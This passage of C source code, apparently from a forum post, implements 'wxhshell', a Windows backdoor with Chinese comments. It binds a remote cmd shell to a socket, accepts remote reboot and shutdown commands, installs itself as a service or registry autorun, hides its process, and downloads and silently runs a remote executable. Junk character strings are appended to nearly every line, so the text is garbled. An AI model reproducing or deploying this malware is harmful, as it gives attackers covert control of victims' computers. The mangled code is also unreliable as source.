  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |}mBW@ah  
  else 7Q[P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vq<|DM3z<  
  } MESQAsx%  
  else { m CdkYN#  
1m ![;Pg3  
    switch(cmd[0]) { /5J! s="  
  6Jj)[ R\5=  
  // 帮助 "+XO[WGc  
  case '?': { ?2=c'%w7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uNRGbDMA=  
    break; T Z>z5YTv  
  } R/^ rh  
  // 安装 c|O5Vp}  
  case 'i': { iySmNI  
    if(Install()) G3OQbqn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bo~wD|E2  
    else *aT!|;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z+\>e~U6J}  
    break; L$ ON=$q5  
    } 8;Pdd1GyUL  
  // 卸载 ~I^]O \?  
  case 'r': { ]k KsGch  
    if(Uninstall()) /aPq9B@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hi ]+D= S  
    else 9g*~X;`2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T!*7G:\f"  
    break; $8eq&_gJ  
    } 9B%"7MVn  
  // 显示 wxhshell 所在路径 4Fz^[L}[  
  case 'p': { i2!{.*.  
    char svExeFile[MAX_PATH]; Q,DumOq  
    strcpy(svExeFile,"\n\r"); j1d=$'a "  
      strcat(svExeFile,ExeFile); ( Rf)&KN  
        send(wsh,svExeFile,strlen(svExeFile),0); iFDQnt [t  
    break; ! TRiFD  
    } x)GoxH~#  
  // 重启 1R:h$* -z  
  case 'b': { :?^(&3;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); woR)E0'qx  
    if(Boot(REBOOT)) >H%8~ Oek  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NCsUC  
    else { |0bSxPXn!  
    closesocket(wsh); 6zI?K4o  
    ExitThread(0); |zUDu\MZ{  
    } :@3d  
    break; K:{Q~+   
    } x Dr^&rC  
  // 关机 !#?tA/t@  
  case 'd': { Y/hay[6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0FW=8hFp,  
    if(Boot(SHUTDOWN)) );*GOLka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fklM Yu4:n  
    else { . =+7H`A  
    closesocket(wsh); Vw#07P#A  
    ExitThread(0); 2Hd6  
    } |On6?5((e  
    break; %Wu8RG}  
    } SVpe^iQ]1\  
  // 获取shell <0vvlOL5  
  case 's': { #z~oc^J^T  
    CmdShell(wsh); *%8us~w5/  
    closesocket(wsh); kOjq LA  
    ExitThread(0); N; hq  
    break; N" 8o0>  
  } C/w;g3  
  // 退出 4 I~,B[|  
  case 'x': { (+U!# T]'D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rm cy-}e  
    CloseIt(wsh); p$=3&qR 6  
    break; #}gc6T~0  
    } A< Na,EC  
  // 离开 nxJhK T  
  case 'q': { xM*v!J,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BkJcT  
    closesocket(wsh); E=B9FIx~<  
    WSACleanup(); vxm`[s|QC  
    exit(1); o+vf  
    break; v#X? KqD  
        } `rcjZ^n  
  } oT_,k}LIX  
  } [sad}@R7  
3646.i[D  
  // 提示信息 RWoiV10  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g5"g,SFGr  
} 'D-imLV<<  
  } 8O7JuR  
SAoqq  
  return; ALG #)$|  
} <)}*S  
x;SrJVDN  
// shell模块句柄 1idEm*3&(  
int CmdShell(SOCKET sock) E8nqEx Q  
{ ?e@Ff"Y@e  
STARTUPINFO si; QL)UPf>Kp  
ZeroMemory(&si,sizeof(si)); Wm A:"!~M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |9Y9pked8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fT@#S}t  
PROCESS_INFORMATION ProcessInfo; !pN,,H6Y  
char cmdline[]="cmd"; "au"\}   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A ssf f;  
  return 0; '[HFIJ0K!  
} o#T,vu0s  
+F/'+  
// 自身启动模式 tQ)8HVKF  
int StartFromService(void) W$3p,VTMmB  
{ p$ko=fo-*_  
typedef struct _zOzHc?Q  
{ =DtM.oQ>  
  DWORD ExitStatus; |%tR#!&[:g  
  DWORD PebBaseAddress; e88JT_zrO  
  DWORD AffinityMask; :?S2s Ne2  
  DWORD BasePriority; IOJfv8  
  ULONG UniqueProcessId; _ x7Vyy5  
  ULONG InheritedFromUniqueProcessId; CEUR-LK0  
}   PROCESS_BASIC_INFORMATION; _W!g'HP-D  
'UB<;6wy  
PROCNTQSIP NtQueryInformationProcess; &&m%=i.qK  
c)lK{DC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A$oYw(m#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %xg"e O2x  
<1@_MY o  
  HANDLE             hProcess; 8IX6MfR}C  
  PROCESS_BASIC_INFORMATION pbi; fb#Ob0H  
w@"|S_E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H7{ 6t(0j  
  if(NULL == hInst ) return 0; auO^v;s  
$;@s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -1< }_*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C[pAa8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9M7{.XR,  
gy>2=d  
  if (!NtQueryInformationProcess) return 0; G U!XD!!&  
<oR Nd3d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LAr6J  
  if(!hProcess) return 0; F"bbU/5  
O" z=+79q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  b'ew Od=  
eLt6Hg)s`9  
  CloseHandle(hProcess); E7*]t_p"  
GWhb@K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v& ? Bqj  
if(hProcess==NULL) return 0; ^&,{  
oACE:h9U  
HMODULE hMod; 3)T5}_  
char procName[255]; c\R! z&y~  
unsigned long cbNeeded; 5-+Y2tp}  
+)V6"XY-(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gd'^vqo<  
PanyN3rC*  
  CloseHandle(hProcess); + W +<~E  
;z[yNW8  
if(strstr(procName,"services")) return 1; // 以服务启动 XL"e<P;t  
=g&0CFF<  
  return 0; // 注册表启动 Nl(Aa5:!  
} )JZfC&,  
jm*v0kNy  
// 主模块 {~=[d`t  
int StartWxhshell(LPSTR lpCmdLine) L ~  
{ b?Vu9!  
  SOCKET wsl; &'(:xjN  
BOOL val=TRUE; htkyywv  
  int port=0; ^beW*O!  
  struct sockaddr_in door; |_ ;-~bmb  
5[;^Em)C  
  if(wscfg.ws_autoins) Install(); n'R 8nn6^  
CwT52+Jb  
port=atoi(lpCmdLine); FS']3uJ/  
?C4a,%  
if(port<=0) port=wscfg.ws_port; "cti(0F-d  
yCQpqh  
  WSADATA data; )"q2DjfX*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qC]D9 A  
mT~:k}u~W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   45_zO#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JM M\  
  door.sin_family = AF_INET; <;acWT?(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PAqziq.  
  door.sin_port = htons(port); mDo]5 i<  
] e&"CF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H p1cVs  
closesocket(wsl); B\4SB  
return 1; ` !rHH  
} $<T)_g  
kWr*+3Xq  
  if(listen(wsl,2) == INVALID_SOCKET) { 8mMrGf[Q\  
closesocket(wsl); ";xG[ne$Be  
return 1; !WrUr]0IP  
} ##FN0|e&  
  Wxhshell(wsl); (?~F}u v  
  WSACleanup(); X3q'x}{  
gBrIqM i5  
return 0; `< VoZ/v  
/LJ?JwAvg5  
} lZb1kq%9g  
Yr[1-Oy/k  
// 以NT服务方式启动 dmf~w_(7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N>@AsI  
{ WT!%FQ9  
DWORD   status = 0; 8 v&5)0u  
  DWORD   specificError = 0xfffffff; )0/ D Y  
:vc[ iZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'e0qdY`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o.sa ?*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #E*jX-JT  
  serviceStatus.dwWin32ExitCode     = 0; jz/@Zg",  
  serviceStatus.dwServiceSpecificExitCode = 0; ^@jOS{f l  
  serviceStatus.dwCheckPoint       = 0; .w&{2,a3  
  serviceStatus.dwWaitHint       = 0; |QXW$  
`Ol*"F.+I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C[&L h_F\  
  if (hServiceStatusHandle==0) return; pcL02W|J  
_:=w6jCk  
status = GetLastError(); P3(u+UI3  
  if (status!=NO_ERROR) u\>Ed9^  
{ lHZf'P_Wx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r@wWGbQ|L  
    serviceStatus.dwCheckPoint       = 0; ]`+>{Sx 1  
    serviceStatus.dwWaitHint       = 0; =@B9I<GKf  
    serviceStatus.dwWin32ExitCode     = status; U<o,`y[Tn  
    serviceStatus.dwServiceSpecificExitCode = specificError; b) .@ xS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r?V\X7` +  
    return; TB1 1crE  
  } =q>eoXp  
>WG$!o+R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |1;0q<Ka  
  serviceStatus.dwCheckPoint       = 0; S1zV.]  
  serviceStatus.dwWaitHint       = 0; UB?a-jGZ K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'ApWYt  
} U =T[-(:H  
+5 @8't  
// 处理NT服务事件,比如:启动、停止 [bE9Y;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?I7%@x!+S  
{ qH"e: wgL  
switch(fdwControl) nqy\xK#.^  
{ c5^i5de  
case SERVICE_CONTROL_STOP: 7 ?/ Fr(\  
  serviceStatus.dwWin32ExitCode = 0; DKYrh-MN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v ;{s@CM m  
  serviceStatus.dwCheckPoint   = 0; ]J m9D=  
  serviceStatus.dwWaitHint     = 0; g9p#v$V  
  { Of Y>~d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RIb< 7  
  } ;nSaZ$`5  
  return; &!Y^DR/  
case SERVICE_CONTROL_PAUSE: \)`\F$CF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SIzW3y[  
  break; #%B1, .A  
case SERVICE_CONTROL_CONTINUE: +-`Q}~s+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rzY7f: '  
  break; a+,)rY9  
case SERVICE_CONTROL_INTERROGATE: t~Ds)  
  break; 980[]&(  
}; 1rT}mm/e;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^vJ08gu_W  
} r'k-*I  
Pg7W:L7  
// 标准应用程序主函数 w/>k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ogDyrY}]  
{ u!X[xe;  
R&=Y7MfZ  
// 获取操作系统版本 cAA J7?  
OsIsNt=GetOsVer(); z`m-Ca>6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); o+q4Vg9&  
X-6Se  
  // 从命令行安装 x1?p+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2t/ba3Rfk  
e2k!5O S  
  // 下载执行文件 lg;`ItX]  
if(wscfg.ws_downexe) { jHTaG%oh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %\Ig{Rj;  
  WinExec(wscfg.ws_filenam,SW_HIDE); NNb17=q_v  
} ${0Xq k  
pA"pt~6  
if(!OsIsNt) { }a|S gI  
// 如果时win9x,隐藏进程并且设置为注册表启动 'xvV;bi  
HideProc();  NM  
StartWxhshell(lpCmdLine); o7&Z4(V  
} jZe]zdml  
else Nr6YQH*[  
  if(StartFromService()) E+UOuf*(  
  // 以服务方式启动 el 5F>)  
  StartServiceCtrlDispatcher(DispatchTable); ,|?B5n&  
else :.DCRs$Q  
  // 普通方式启动 nakhepLN  
  StartWxhshell(lpCmdLine); kVe}_[{m  
DV]Kd 7  
return 0; y/4 4((O  
}
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只看该作者 1 发表于: 2006-10-10
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